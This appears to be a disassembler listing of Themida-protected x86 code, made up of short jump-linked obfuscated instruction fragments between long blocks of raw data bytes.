		jmp	loc_555A08
; ---------------------------------------------------------------------------

loc_55E4D5:				; CODE XREF: Themida_:0055AFB1j
		not	edx
		shl	edx, 4
		jmp	loc_55BD5A
; ---------------------------------------------------------------------------
		db 68h
		dd 6FAEh, 54241489h, 4EC835Ah, 55241C89h, 59E5B951h, 0CD894018h
		dd 0D9B8E959h, 0FE01FFFFh, 186AE9h, 0F6CB8600h,	30CB30D1h
		dd 50CB30D9h, 6866DEB4h, 8BE9321Fh, 1FFFF4Bh, 0B7EE81DEh
		dd 5B722065h, 0E904EE83h, 0FFFF4C9Dh
; ---------------------------------------------------------------------------

loc_55E52C:				; CODE XREF: Themida_:00564E0Cj
		mov	ecx, 78812FC3h
		and	ebp, ecx
		push	dword ptr [esp]
		jmp	loc_55F5DA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 59042474h, 0FF215AE9h, 39CD81FFh, 81418E17h,	0CC5D05C5h
		dd 0FFEA31EFh, 0FDE92434h, 5FFFFF77h, 2FF3BB53h, 0E3D14CCEh
		dd 0FF37B1E9h, 243C89FFh, 0E3685F54h, 89000051h, 4B82404h
		dd 1000000h, 0BB5358C7h, 7A4C05A6h, 8105EBC1h, 907173CBh
		dd 0DE38135h, 0E95A8535h, 0C4h,	505FF831h, 0A3659DB8h
		dd 1F89E92Ch, 0C3810000h, 2, 8B241C87h,	0D0E92424h, 0B8FFFF32h
		dd 271725FBh, 2AD0E9h, 64090500h, 685E7225h, 59B1h, 0E9240489h
		dd 0FFFFF6F1h, 0C288C888h, 0E924048Bh, 0FFFFC4D3h, 15DEF29h
		dd 9C781DFh, 8B2FBB3Bh,	0C483241Ch, 243C8704h, 2434FF5Ch
		dd 86F6E95Ah, 0C483FFFFh, 71A2E904h, 895F0000h,	81515EF1h
		dd 4ADA242Ch, 815E7DC4h, 0C44ADAC6h, 240C8B7Dh,	4C481h
		dd 0CDE90000h, 5FFFFF87h, 5A2434FFh, 0FFA9BAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E631:				; CODE XREF: Themida_:00562D56j
		push	esi
		mov	esi, 24E559F4h
		xor	edx, esi
		jmp	loc_557883
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 653F1A83h, 69B9E9h, 0C8B6600h, 0E9535624h, 0FFFFA9CFh
		dd 0E95AD430h, 2B90h, 3109F381h, 0C7811280h, 59281C69h
		dd 0BA52DF29h, 70F83345h, 55FFE281h, 0F2811CB5h, 3D3B3D0Eh
		dd 0FF8F4BE9h, 14F756FFh, 0DEF75E24h, 0FF954EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E68D:				; CODE XREF: Themida_:00562156j
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	edi
		mov	edi, 16545F5Bh
		mov	edx, 0E9ABA0A4h
		add	edx, edi
		pop	edi
		add	ebp, 3AFD160Dh
		jmp	loc_562095
; ---------------------------------------------------------------------------
		db 0BAh, 0E5h, 4Ah
		dd 0E1686405h, 5864054Ah, 0DBE9D031h, 58FFFF63h, 31243433h
		dd 0D9E92434h, 81FFFFB2h, 0C03967E9h, 0D8E98140h, 92E9E7Eh
		dd 19E959CFh, 0B900004Ah, 0D046478h, 0D744FDBDh, 0E9CD31D7h
		dd 0FFFFD3D5h, 0D8F65B66h, 0C134C8FEh, 48BC788h, 4C48124h
		dd 80000000h, 0E7809AEFh, 19B5519Eh, 0EDC0DDF6h, 0F6CDFE02h
		dd 80C5FED5h, 41E92AE5h, 5BFFFFBEh, 8B242C87h, 28E92424h
		dd 87FFFFB2h, 248B243Ch, 240C8924h, 0FF7B92E9h,	24048FFFh
		dd 8924248Bh, 0EC832414h, 241C8904h, 0AA044768h, 0C3815B61h
		dd 3AD76012h, 0FFEF29E9h, 0B65259FFh, 0F0CE805Eh, 4A26E9h
		dd 24248B00h, 24043166h, 1CAEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E772:				; CODE XREF: Themida_:0055A528j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_550420
; ---------------------------------------------------------------------------
		db 55h,	56h, 0BEh
		dd 45451917h, 0FFD8EEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E789:				; CODE XREF: Themida_:0055A040j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_559FF5
; ---------------------------------------------------------------------------
		dw 0F101h
		dd 56C2C181h, 875E46D8h, 515C240Ch, 437309B9h, 59C8016Dh
		dd 6B91E9h, 240C8B00h, 0E9E08950h, 0FFFFA8CFh
; ---------------------------------------------------------------------------

loc_55E7B8:				; CODE XREF: Themida_:0055D1EFj
		mov	ah, dh
		pop	edx
		xor	ah, dl
		pop	edx
		mov	dh, ah
		jmp	loc_55F48A
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0BB53E189h, 74946A36h, 0ADBD5552h, 897BD756h, 242C8BEAh
		dd 3104C483h, 0EFDDE9D3h, 0E95AFFFFh, 0FFFF7C23h, 81E68956h
		dd 4C6h, 4EE8300h, 5C243487h, 53243489h, 0E92E87BBh, 0E9DE8966h
		dd 0FFFF8ADFh, 52AFE380h, 0CA8011B2h, 0F6CAFE49h, 9FB151DAh
		dd 0FFF736E9h, 4F095CFFh, 8BE9591Ch, 53FFFFF5h,	63FCE9h
		dd 75DD6800h, 4890000h,	7E9F6824h, 82E90000h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E843:				; CODE XREF: Themida_:00561983j
		push	ebx
		jmp	loc_561374
; ---------------------------------------------------------------------------
		db 29h,	0F1h, 5Eh
		dd 4108E1C1h, 0E903E1C1h, 0FFFF7442h, 0A7E95559h, 89FFFF60h
		dd 0B850240Ch, 3FCh, 0C5E95056h, 5C000039h, 4EC81h, 3C890000h
		dd 2474FF24h, 243C8B04h, 8F04C483h, 0F5C2404h, 0A0E9C8AFh
		dd 5900000Eh, 31241433h, 14332414h, 24248B24h, 68241C89h
		dd 1331h, 52243C89h, 5277E9h, 0C7026800h, 0CDE9B0B0h, 8900004Dh
		dd 4C581E5h, 83000000h,	2C8704C5h, 0F5295C24h, 243C8B5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4CB20C3h
		shl	edi, 5
		jmp	loc_556ADE
; ---------------------------------------------------------------------------

loc_55E8DD:				; CODE XREF: Themida_:00562189j
		pop	edi
		add	esp, 4
		sub	ebp, 2801000h
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_558EF2
; ---------------------------------------------------------------------------
		dd 7BACEA81h, 51581ED5h, 24D0FB9h, 8E1C16Ah, 0C1FFC183h
		dd 0D9F704E9h, 0E907E9C1h, 13A1h, 0D789CA89h, 0A53EE95Ah
		dd 0F759FFFFh, 0B1F181D9h, 0E9468D7Ah, 0FFFF8E64h, 0E95AD589h
		dd 0FFFFAE3Dh
; ---------------------------------------------------------------------------

loc_55E934:				; CODE XREF: Themida_:0055A944j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1470710Dh
		mov	edi, edx
		jmp	loc_564A75
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0EE170468h, 0C6815E1Dh, 0E211E900h, 0C7E9F589h, 55FFFFEBh
		dd 4B90E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E965:				; CODE XREF: Themida_:00565212j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, 143B48C7h
		add	edi, ecx
		sub	edi, 143B48C7h
		jmp	loc_557518
; ---------------------------------------------------------------------------
		dd 5DBD555Eh, 8174594Eh, 0D81043C3h, 57EB2973h,	1F1A1ABFh
		dd 81DFF724h, 30F82F7h,	5135E975h, 34FF0000h, 2EE95A24h
		dd 81FFFF77h, 0BD3754EFh, 4E7C108h, 1F84F781h, 0E956B5EBh
		dd 2EE1h, 685Fh, 34FF0000h, 241C8B24h, 0FF4742E9h, 47E956FFh
		dd 500000Fh, 671903A3h,	50D2E9h, 0FF595C00h, 0C8B2434h
		dd 4C48324h, 85EDE955h,	0BD55FFFFh, 4, 815DEF01h, 4C7h
		dd 243C8700h, 0FF5276E9h, 3573BFFFh, 0F82976D8h, 0FF895AE9h
		dd 0C3814BFFh, 0E36A1CADh, 0E95BDE01h, 0FFFFC322h, 5C24048Fh
		dd 0FFCF60E9h, 685557FFh, 3C7215BAh, 53EE9h, 34FF5800h
		dd 0C4835F24h, 75A76804h, 14890000h, 301BA24h, 0B95115FEh
		dd 7FCD743Ah, 0FF5915E9h, 240C87FFh, 4EC835Ch, 0BF243C89h
		dd 6DE94B01h, 3525E9h, 0F6B95100h, 0C1639526h, 0C18104E9h
		dd 0FFFFFFFFh, 2F3FE9h,	5AD52900h, 15DE931h, 68BEE9C8h
		dd 5556FFFFh, 83428D68h, 57535D4Eh, 9D7676BFh, 0CBF2E94Ah
		dd 48BDFFFFh, 0E95E1132h, 54FEh, 0C281E289h, 4,	8704C283h
		dd 805C2414h, 0EDE9ADEFh, 81000018h, 857D33C3h,	6BE95832h
		dd 56FFFFC8h, 0FF79B6E9h, 8BCF01FFh, 8951240Ch,	4C181E1h
		dd 83000000h, 0C8704C1h, 0FD7DE924h, 0F281FFFFh, 142C2373h
		dd 2EBFEA81h, 0D101F6C6h, 4C1815Ah, 33000000h, 0C31240Ch
		dd 240C3324h, 61BD555Ch, 0E93EFF0Ch, 0FFFF1B62h, 5503E2C1h
		dd 2378D4BDh, 5DEA29E0h, 5BBEE9h, 243C8B00h, 4C481h, 0C2810000h
		dd 462154D8h, 0BF5E9h, 243C8B00h, 0E9E18951h, 0FFFFEAEAh
		dd 8704C483h, 665C2434h, 66266068h, 68241C89h, 1E29h, 0B5240C89h
		dd 68CBh, 4800000h, 0A3E90724h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EB73:				; CODE XREF: Themida_:0055F76Bj
		push	2C5Fh
		mov	[esp], ecx
		jmp	loc_551491
; ---------------------------------------------------------------------------
		dd 6FB2525Ch, 34B75366h, 0F7E9FA28h, 52h, 0E95A66D0h, 0FFFFBC7Bh
; ---------------------------------------------------------------------------

loc_55EB98:				; CODE XREF: Themida_:005633F6j
		mov	ebx, [esp]
		jmp	loc_55C52F
; ---------------------------------------------------------------------------
		dd 80F0C680h, 0F788E5C6h, 41BFE95Ah, 0CE050000h, 814E84BFh
		dd 977A1CEBh, 0E9C32934h, 0FFFF567Bh, 53EB8953h, 2C8B5B58h
		dd 0BC64E924h, 814BFFFFh, 897AAEF3h, 5BD98902h,	0FFB932E9h
		dd 0E9DA01FFh, 0FFFFD5BCh, 4C48158h, 81000000h,	0ED3787EBh
		dd 0E9DD0142h, 133Dh, 2404895Ch, 0BF57E089h, 0AB44BAEh
		dd 0C108EFC1h, 0CF8108EFh, 73FB6899h, 0FF5286E9h, 81E789FFh
		dd 4C7h, 4EF8100h, 0E9000000h, 4BF6h, 4C481h, 555F0000h
		dd 25068h, 24048900h, 0D0643A68h, 38355804h, 503C6203h
		dd 24048B5Dh, 4C481h, 57560000h, 25B968h, 242C8900h, 813C2ABDh
		dd 0A32DBF1Ah, 0EF295333h, 4EC815Dh, 89000000h,	8B5E243Ch
		dd 3E9243Ch, 55FFFF1Bh,	38176857h, 0C15F3128h, 8DE908EFh
		dd 89000010h, 68522434h, 56C10B2Bh, 8324148Bh, 0B3E904C4h
		dd 0B900005Eh, 6B875D13h, 0C181D9F7h, 393F2144h, 22F0E9h
		dd 5D82900h, 6BDE5BBBh,	9135FF2Dh, 6A7D2D20h, 79E943AFh
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55ECC3:				; CODE XREF: Themida_:00560A43j
		mov	ebx, 6B440506h
		dec	ebx
		xor	ebx, 352663F8h
		sub	ebx, 5E6266F9h
		jmp	loc_556540
; ---------------------------------------------------------------------------
		dw 2C5Ah
		dd 2B686608h, 14BE979h,	0FF510000h, 59042474h, 5496E9h
		db 0
; ---------------------------------------------------------------------------

loc_55ECF1:				; CODE XREF: Themida_:0055A702j
		add	edi, ebx
		jmp	loc_556C6B
; ---------------------------------------------------------------------------
		dd 4C581h, 0C5830000h, 242C3304h, 33242C31h, 248B242Ch
		dd 58C72924h, 6A5BEF81h, 0EF817021h, 77054E89h,	0C781CF01h
		dd 77054E89h, 6A5BC781h, 0C7817021h, 7E21219Ah,	43DD68FDh
		dd 4890000h, 57E08924h,	0FF62FBE9h, 4C481FFh, 0E9000000h
		dd 0FFFF8DA5h, 614FEB81h, 0F3297354h, 46768h, 24348900h
		dd 0E03DF8BEh, 0A9EE8177h, 1048BDCh, 0EB815EF3h, 0FD411DEh
		dd 0FF8A0AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55ED75:				; CODE XREF: Themida_:005566BFj
		push	edx
		mov	edx, 278C7679h
		shl	edx, 7
		jmp	loc_55C4F3
; ---------------------------------------------------------------------------
		db 40h
		dd 6449B951h, 0C8311816h, 0FF3D67E9h, 8A134FFh,	30E958C2h
		dd 0BAFFFFBAh, 0
aBMBMviS8	db 'ęÇ',9,'ÁM)ʁÂÇ',9,'ÁMV‰Öé8-',0
		align 2

loc_55EDB6:				; CODE XREF: Themida_:0055A760j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	3358h
		jmp	loc_562C6F
; ---------------------------------------------------------------------------
		dw 7724h
		dd 0F10C7B2Ch, 5D7DE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EDD6:				; CODE XREF: Themida_:005514E1j
		xor	ecx, eax
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], ecx
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_552FE5
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 5F2434FFh, 4C481h, 2C810000h, 7F0D8624h, 2404011Fh
		dd 90468h, 9B23E900h, 0E589FFFFh, 72DCBB53h, 93E93DA1h
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EE1B:				; CODE XREF: Themida_:00557C86j
		sub	ecx, 1F59481Ch
		jmp	loc_55AA4B
; ---------------------------------------------------------------------------

loc_55EE26:				; CODE XREF: Themida_:00559A12j
		add	ebx, 4
		jmp	loc_55C893
; ---------------------------------------------------------------------------
		db 66h,	89h, 14h
		dd 0EC835024h, 240C8904h, 0FFAC51E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EE41:				; CODE XREF: Themida_:00557BD6j
		add	ebx, 3CD23762h
		inc	ebx
		shl	ebx, 4
		and	ebx, 5E361994h
		add	ebx, 174B53C3h
		add	edi, ebx
		pop	ebx
		push	eax
		push	146661DBh
		pop	eax
		add	edi, 1C6B580Ch
		sub	edi, eax
		sub	edi, 1C6B580Ch
		pop	eax
		push	eax
		jmp	loc_554AF5
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 0E9763F89h, 0E95BD931h, 1657h, 0DB1B7C68h, 0EE815E52h
		dd 52DB1B7Ah, 0EDE9F289h, 8BFFFFFAh, 8B662424h,	83502404h
		dd 0DCE904ECh, 5200001Ch, 0FFE0B2E9h, 0C8B66FFh, 58506824h
		dd 1C890000h, 1C8B5424h, 4C48324h, 3FA868h, 24048900h
		dd 468h, 0BD555800h, 24AC71B7h,	0E581D5F7h, 77724951h
		dd 4F31C581h, 0B951D992h, 39D30A3Eh, 5616E9h, 9CC83B00h
		dd 0FF152BE9h, 0C4835EFFh, 3DC68104h, 2D5B1DCBh, 7F207A9Ah
		dd 0FFF028E9h, 5DE95BFFh, 88FFFFBEh, 1889E9F4h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55EF16:				; CODE XREF: Themida_:00555CD0j
		mov	[esp], ecx
		jmp	loc_560A0F
; ---------------------------------------------------------------------------
		dw 565Fh
		dd 0BB353DBEh, 5EF33159h, 24048353h, 0A6E95BFFh, 5CFFFF62h
		dd 0BA241489h, 38002E0Bh, 0E95AD029h, 0FFFFEE84h, 2BD555Ch
		dd 1000000h, 0FF515DE9h, 0FF042474h, 0C5E92434h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EF5B:				; CODE XREF: Themida_:0056213Ej
		sub	edx, 8051B3E6h
		sub	ebp, 264D1577h
		jmp	loc_56034F
; ---------------------------------------------------------------------------
		dd 2BBB5356h, 89201022h, 29E95BDEh, 5D00004Eh, 0FFEDE3E9h
		dd 7BBA52FFh, 0C10EDC07h, 0F28106E2h, 3AD6033Ch, 81F0EA81h
		dd 0EB8140C4h, 259D76F9h, 0C381D301h, 259D76F9h, 4EC835Ah
		dd 0E9243489h, 0FFFF62DFh, 0A33C7DBBh, 0C1D3F70Eh, 0AFE903E3h
		dd 0BD000010h, 32426CC6h, 4246C29h, 24148B5Dh, 0FF7F20E9h
		dd 240489FFh, 53EAE955h, 28580000h, 0DBC280FAh,	81241C8Bh
		dd 4C4h, 0E96B2C00h, 0FFFFBEF2h, 5BDE2958h, 0FFC706E9h
		dd 247C8AFFh, 24548802h, 148B6602h, 0E1895124h,	4C181h
		dd 0BB530000h, 2, 875BD901h, 0E95C240Ch, 0FFFF1400h, 348BF001h
		dd 74DFE924h, 7768FFFFh, 89000002h, 8FBD242Ch, 686B6D53h
		dd 3E8Ch, 0E9242C89h, 0FFFF46C7h, 760E7B05h, 3DD0E929h
		dd 0E1C10000h, 0EC835704h, 242C8904h, 4B0E9h, 5FF92900h
		dd 0FCEE9h, 11BA5200h, 4A1BB107h, 0C281D2F7h, 1BB10715h
		dd 0E95AD689h, 0FFFFBD49h, 314E957h, 34310000h,	24343324h
		dd 6624248Bh, 6824048Bh, 7CDEh,	68243489h, 25D2h, 83242489h
		dd 8B042404h, 89572434h, 4C781E7h, 83000000h, 3C3304C7h
		dd 243C3124h, 5C243C33h, 4EC81h, 1C890000h, 4BB24h, 7EE90000h
		dd 5FFFFF1Bh, 0E904EC83h, 35E2h, 8B242C87h, 0F662424h
		dd 9C2404A3h, 0FF1337E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F0E9:				; CODE XREF: Themida_:005642CBj
		not	eax
		sub	eax, 0A5DF9F7h
		add	ecx, eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		jmp	loc_55CE1C
; ---------------------------------------------------------------------------
		dd 6602EC83h, 0B5240C89h, 66E800D2h, 0E9240C8Bh, 0FFFF974Dh
		dd 0F5E9F889h, 81FFFF75h, 4C3h,	82FEE900h, 0E9ACFFFFh
		dd 3FDh, 67D9BB53h, 0E381121Fh,	2601331Fh, 3609B951h, 0E9813792h
		dd 12A07EFDh, 6FB5C181h, 0CB09F4FAh, 0FFA998E9h, 2E8C1FFh
		dd 507E0C1h, 17496A1Fh,	48BC329h, 4C48324h, 9C5EB81h, 0CB2948FAh
		dd 0FFD624E9h, 48BD55FFh, 0E9DB7961h, 0FFFFC13Ah, 16DCEE81h
		dd 0D60179A5h, 16DCC681h, 685579A5h, 5E61h, 0BA241489h
		dd 57241459h, 148BD589h, 4C48324h, 0BBC68h, 242C8900h
		dd 0FFBFBFE9h, 0C3ED81FFh, 0E976AF04h, 2120h, 19066866h
		dd 8B76866h, 8F665466h,	0EC832404h, 3C896602h, 0B8665024h
		dd 50660002h, 24048166h, 5F66289Ch, 9CEF8166h, 0CD8EE928h
		dd 0BF57FFFFh, 32AC16BFh, 0FFC6F2E9h, 0E98149FFh, 7AE5A543h
		dd 0FF230EE9h, 4EC81FFh, 89000000h, 0E951241Ch,	0FFFF622Fh
; ---------------------------------------------------------------------------

loc_55F228:				; CODE XREF: Themida_:005526A4j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55FBCC
; ---------------------------------------------------------------------------
		dd 610C68h, 24348900h, 0EB34E9BEh, 11E36870h, 2C890000h
		dd 7EB3BD24h, 0E957D4FAh, 0FFFF67C5h, 0FF11BFE9h, 5E5C1FFh
		dd 3AFE9h, 4E95900h, 59FFFF7Ch,	8104C483h, 76B94BF6h, 3AA6E9D0h
		dd 0E089FFFFh, 405h, 24406800h,	34890000h, 18A6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F292:				; CODE XREF: Themida_:0055B8A9j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_55303B
; ---------------------------------------------------------------------------
		dw 0C101h
		dd offset loc_4218E9
		db 0
; ---------------------------------------------------------------------------

loc_55F2A9:				; CODE XREF: Themida_:0055E3B6j
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	5091h
		jmp	loc_560736
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0EBh
		dd 8113376Dh, 3D3020F7h, 7DC78101h, 816D0670h, 0CF9A70EFh
		dd 9ED81F9h, 16E8177h, 9C581FDh, 5F6E8177h, 0ACE9EE09h
		dd 1FFFF5Dh, 4C381C3h, 5868A03Ah, 0E9241C87h, 0FFFFCC0Ch
		dd 3E77B4B9h, 0C1D1F76Eh, 0E98108E1h, 3C1A30E1h, 9AC18141h
		dd 168C4F1h, 0D98959CBh, 0FF5BFEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F319:				; CODE XREF: Themida_:0055F5B9j
		add	ebp, 149D2ECEh
		pop	edx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	4C4Dh
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_560A3F
; ---------------------------------------------------------------------------
		db 81h
		dd 0A66FF9C3h, 1F38173h, 89198FD6h, 0F2815BDAh,	67684A3Ah
		dd 835AD001h, 43302C0h,	24043124h, 8B240433h, 55E92424h
		dd 0FFFFFFDFh, 34FF2434h, 0C4815924h, 4, 13D168h, 3003E900h
		dd 5F540000h, 4C781h, 0CE90000h, 29FFFFD1h, 0EC815AD0h
		dd 4, 48F7E9h, 0F6685700h, 5F5E9B32h, 15DAE953h, 4890000h
		dd 0D6F3E924h, 1C89FFFFh, 44B05024h, 83B75366h,	0FF5E93E9h
		dd 6866ACFFh, 8966200Ch, 8EB5240Ch, 0E902E5C0h,	0FFFF2250h
		dd 535AD129h, 1534FBBh,	11E9815Ch, 15F4B27h, 11C181D9h
		dd 8B5F4B27h, 0C483241Ch, 5684E904h, 0C835FFFFh, 31C1B464h
		dd 0F28158C2h, 68E17EE1h, 34FFD701h, 0BEE95A24h, 0FFFFFF39h
		dd 50582434h, 8D368h, 0D1E95400h, 5B000035h, 4C481h, 0BBE90000h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F43F:				; CODE XREF: Themida_:0055B7BCj
		dec	ebx
		push	ecx
		mov	ecx, 0CEF4073h
		or	ecx, 4FE243EFh
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		add	ecx, 4E333828h
		add	ecx, 79F5C68h
		or	ecx, 5B5836BFh
		xor	ecx, 52397418h
		xor	ebx, ecx
		pop	ecx
		xor	ebx, 23B244F1h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_565A97
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 522EE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F48A:				; CODE XREF: Themida_:0055E7C0j
		pop	eax
		sub	bl, 0E0h
		sub	bl, dh
		jmp	loc_5643D1
; ---------------------------------------------------------------------------
		db 64h,	66h, 0Fh
		dd 686602B6h, 89661810h, 79E92404h, 8BFFFF0Fh, 0C481243Ch
		dd 4, 4EC835Ah,	0FF240489h, 8B042474h, 0C4812404h, 4, 8B24048Fh
		dd 54502424h, 0E924048Bh, 66F6h, 4240481h, 0FF000000h
		dd 515B2434h, 240C8B54h, 8104C483h, 4C1h, 0D3E7E900h, 0E6C1FFFFh
		dd 5DB95107h, 4142F60Ah, 0D1F7D1F7h, 0C181D1F7h, 9D190EB7h
		dd 3CA5E9h, 0C0B95100h,	0BD23A04Ah, 39454670h, 0C8BCD31h
		dd 4C48324h, 0B70E9h, 34815000h, 4F139824h, 4E95F42h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F533:				; CODE XREF: Themida_:00557428j
		add	esp, 4
		push	edx
		mov	edx, 53262252h
		push	edx
		jmp	loc_55B253
; ---------------------------------------------------------------------------
		db 4, 75h, 52h
		dd 0B450D6B2h, 0E9C4FE4Ah, 0FFFF8113h, 2BBh, 3CFDE900h
		dd 1C330000h, 14895C24h, 83E28924h, 0C8904ECh, 58E7B924h
		dd 0C1812313h, 0DCECA71Dh, 26E968h, 24048900h, 0A52665B8h
		dd 58C22918h, 16E9CA01h, 81FFFFE1h, 0B36CFF2h, 81EAD129h
		dd 0E4BCCCEAh, 5AD3314Eh, 522BBF57h, 0A2E95ED8h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F5AB:				; CODE XREF: Themida_:00555F02j
		add	edx, 0A0078F07h
		sub	ebp, 149D2ECEh
		add	ebp, edx
		jmp	loc_55F319
; ---------------------------------------------------------------------------
		dw 840Fh
		dd 3F06h, 0E904EC83h, 0FFFFBD9Eh, 81240C8Bh, 4C4h, 2AB0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F5DA:				; CODE XREF: Themida_:0055E536j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xor	ebp, 457406A6h
		push	ecx
		mov	ecx, 22663F2Bh
		jmp	loc_562143
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF27C0h, 0ED81D5F7h, 0B29FF608h, 835DEF01h, 8D6804C7h
		dd 0E900004Ch, 5132h, 16B5C581h, 0F5813BA9h, 18F80DC2h
		dd 0FFDA01E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F629:				; CODE XREF: Themida_:00553207j
		add	ebp, 0AF5354h
		add	eax, ebp
		pop	ebp
		or	eax, eax
		jnz	loc_55448D
		push	edi
		jmp	loc_5627F8
; ---------------------------------------------------------------------------
		dd 4EC815Bh, 89000000h,	0BDBF243Ch, 813F037Dh, 0EE13B9CFh
		dd 17EF8138h, 0C1094D68h, 0BE905E7h, 56FFFFDCh,	2E179F68h
		dd 81465E66h, 3F4863C6h, 5EF789D7h, 4247C01h, 32D585Fh
		dd 0E93D6D60h, 1897h, 3C8BF989h, 4C48324h, 0E95EF101h
		dd 0FFFFB5D5h, 4C481h, 87560000h, 0D0F72404h, 56BDE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F6A5:				; CODE XREF: Themida_:0056342Dj
		push	5F377C6Dh
		jmp	loc_5541A8
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E94E05E6h, 0FFFF62DDh, 6851C601h, 35A7h, 0FF3763E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F6C5:				; CODE XREF: Themida_:005652C4j
		push	edx
		mov	edx, ebp
		mov	ecx, edx
		pop	edx
		pop	ebp
		jmp	loc_55AC8D
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 143541BDh, 6165E94Eh, 0E957FFFFh, 0FFFFD28Ah, 4C481h
		dd 0EE810000h, 0E31BF328h, 3E7C1205h, 5C3BE95Bh, 0C481FFFFh
		dd 4, 0FF9C9BE9h, 6A21BAFFh, 0E9422DCEh, 4977h,	0FF0BC380h
		dd 0E9592434h, 0FFFF2A27h, 52E8015Ah, 0FF1C6DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F725:				; CODE XREF: Themida_:0055403Aj
		pop	ebp
		xchg	ebp, edi
		not	ebp
		jmp	loc_556108
; ---------------------------------------------------------------------------
		db 51h
		dd 0CEAE99Ch, 34FFFFFFh, 2434FF24h, 0FFC86CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F741:				; CODE XREF: Themida_:0055C9BDj
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_553979
; ---------------------------------------------------------------------------

loc_55F74E:				; CODE XREF: Themida_:00551E80j
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		push	3D9B019Ch
		pop	esi
		add	esi, 0C264FE68h
		mov	ecx, esi
		pop	esi
		add	ebx, 163B5452h
		jmp	loc_55EB73
; ---------------------------------------------------------------------------
		dd 2404875Ah, 6624248Bh, 51241C89h, 0E9C082B1h,	2E9C004h
		dd 87EBE955h, 0F289FFFFh, 1F83E95Eh, 0C4810000h, 4, 446568h
		dd 24148900h, 530D1C68h, 4706E93Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F7AA:				; CODE XREF: Themida_:00562787j
		pop	eax
		push	43DCh
		mov	[esp], ecx
		jmp	loc_559DCF
; ---------------------------------------------------------------------------
		dd 5BDE895Fh, 0FF3B25E9h, 241433FFh, 0FF2BEFE9h, 364C05FFh
		dd 0DF055A68h, 0E97F444Ch, 227Ch, 0E7895759h, 1A6C68h
		dd 241C8900h, 0B215ACBBh, 0C9DAE92Fh, 0C15EFFFFh, 0BFE904E8h
		dd 31FFFFE1h, 4332404h,	24248B24h, 1788B951h, 6DE911D2h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F80B:				; CODE XREF: Themida_:00560F0Fj
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 68457485h
		neg	esi
		jmp	loc_55B26F
; ---------------------------------------------------------------------------
		db 89h
